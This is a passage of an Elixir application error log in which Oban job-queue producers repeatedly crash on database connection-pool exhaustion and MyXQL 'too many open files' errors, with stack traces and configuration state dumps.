  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:54:40.241576Z], limit: 3, uuid: "e089e581-d789-44f0-bd22-99f965c4fb3b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:40.241581Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.37088>, refresh_timer: #Reference<0.2525715032.1121189889.144753>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:52.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1005ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:54:40.241710Z], limit: 5, uuid: "12a9caf1-ec85-4d13-9d99-986c6b01c456", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:40.241715Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.37089>, refresh_timer: #Reference<0.2525715032.1077673987.9872>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:54:40.242495Z], limit: 5, uuid: "4dbd4c5c-b13e-45b0-a0e6-84960a7e5753", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:40.242501Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.37087>, refresh_timer: #Reference<0.2525715032.1121189889.144760>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:54:40.242063Z], limit: 10, uuid: "3cc910a6-fa0c-40c7-8ab4-67e5bd62e44b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:40.242069Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.144776>, refresh_timer: #Reference<0.2525715032.1077673987.9881>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:54:52.987000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:54.036000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:56.001000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:58.142000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:58.729000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:58.947000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:54:59.487000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:04.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:54:52.240182Z], limit: 5, uuid: "42d80a6a-c81b-42aa-9124-bca0d692a9c1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:52.240188Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.37441>, refresh_timer: #Reference<0.2525715032.1099431938.36815>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:54:52.239168Z], limit: 20, uuid: "74b14dd2-e9c0-4029-9884-65fe8d33570b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:52.239181Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.37437>, refresh_timer: #Reference<0.2525715032.1121189889.144880>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:04.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:54:52.240374Z], limit: 10, uuid: "97579829-0a8a-4079-b2cf-95572d7d97a0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:52.240379Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.37440>, refresh_timer: #Reference<0.2525715032.1099431938.36827>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:04.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:54:52.238738Z], limit: 50, uuid: "79b0c6c5-e981-466f-849a-ed65b1edcf76", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:52.238745Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.37438>, refresh_timer: #Reference<0.2525715032.1121189889.144874>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 866ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:54:52.241338Z], limit: 3, uuid: "71da04e9-fa31-4874-b34b-73e16c3ffa5b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:54:52.241344Z]}, name: {:via, Registry, {Oban.Registry, 